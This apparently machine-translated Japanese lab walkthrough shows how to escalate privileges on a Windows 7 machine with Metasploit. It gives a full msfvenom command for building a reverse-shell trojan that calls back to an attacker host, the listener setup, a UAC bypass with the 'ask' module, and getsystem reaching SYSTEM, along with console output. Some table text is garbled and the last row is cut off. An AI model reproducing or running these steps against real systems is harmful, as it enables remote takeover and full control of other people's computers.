準備
ターゲットマシン | 攻撃機 |
---|---|
win7 | 時間 |
192.168.43.254 | 192.168.43.113 |
ここでは、攻撃プロセスのみを示します。理解できないコマンドがある場合は、他の記事を確認してください。コマンドを実行したり、自分でBaiduにアクセスしたりするための特別なメモがあります。
UACの概要
UAC(ユーザーアカウント制御)は、システムセキュリティを向上させるためにMicrosoftによってWindows Vistaに導入された新しいテクノロジです。ユーザーは、コンピューターの操作に影響を与える可能性のある操作を実行するか、他のユーザーに影響を与える設定を変更する操作を実行する必要があります。アクセス許可または管理者を提供します。パスワード。
つまり、ユーザーが起動されたアプリケーションがUAC検証に合格することを許可すると、プログラムには管理者権限も付与されます。ユーザーのUAC検証に合格したプログラムを何らかの方法でハイジャックすると、プログラムはエスカレーションのプロセスも実行します。
プレデモ
これはデモンストレーションなので、ここではmsfによってトロイの木馬を直接生成してシェルを取得します
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.43.113 LPORT=6666 -b "\x00" -e x86/shikata_ga_nai -f exe > uac.exe
モニターを設定する
use exploit/multi/handler
ペイロードを設定します
set payload windows/meterpreter/reverse_tcp
リスニングIPとポートを設定する
set lhost 192.168.43.113
set lport 6666
次に、実行し、win7マシンを開き、uac.exeをクリックしてkaliを開き、シェルを取得します
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.43.113:6666
[*] Sending stage (179779 bytes) to 192.168.43.254
[*] Meterpreter session 1 opened (192.168.43.113:6666 -> 192.168.43.254:50063) at 2020-10-05 22:02:08 +0800
meterpreter >
あなたはそれが管理者であることがわかります
meterpreter > getuid
Server username: LS--20200725FKO\Administrator
その後、getsystemの宣伝に失敗し、バックグラウンドに配置しました
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > se
search services sessions set setg
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:50080 (192.168.43.254)
UACエスカレーション
バックグラウンドに置いた後、次のモジュールを使用します
use exploit/windows/local/ask
モジュール情報を確認し、設定したいものを設定してください
msf5 exploit(windows/local/ask) > info
Name: Windows Escalate UAC Execute RunAs
Module: exploit/windows/local/ask
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-01-03
Provided by:
mubix <mubix@hak5.org>
b00stfr3ak
Available targets:
Id Name
-- ----
0 Windows
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)
Payload information:
Description:
This module will attempt to elevate execution level using the
ShellExecute undocumented RunAs flag to bypass low UAC settings.
以上のことから、セッションを設定する必要があることがわかりました。
msf5 exploit(windows/local/ask) > set session 2
session => 2
他の2つは不要で、設定することも設定しないこともできます。その後、実行します。
msf5 exploit(windows/local/ask) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
5 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:49187 (192.168.43.254)
6 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:49187 (192.168.43.254)
2つのセッションがありますが、どちらにも管理者権限があることがわかります。
msf5 exploit(windows/local/ask) > sessions -i 6
[*] Starting interaction with 6...
meterpreter >
6の中に入ります
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
システム権限を取得する
モジュール名 | 私の理解 |
---|---|
エクスプロイト/ウィンドウズ/ローカル/質問 | クリックする必要があります |
エクスプロイト/ウィンドウズ/ローカル/バイパス | クリックする必要はありません |
エクスプロイト/ windows / local / ms14_058_track_popup_menu |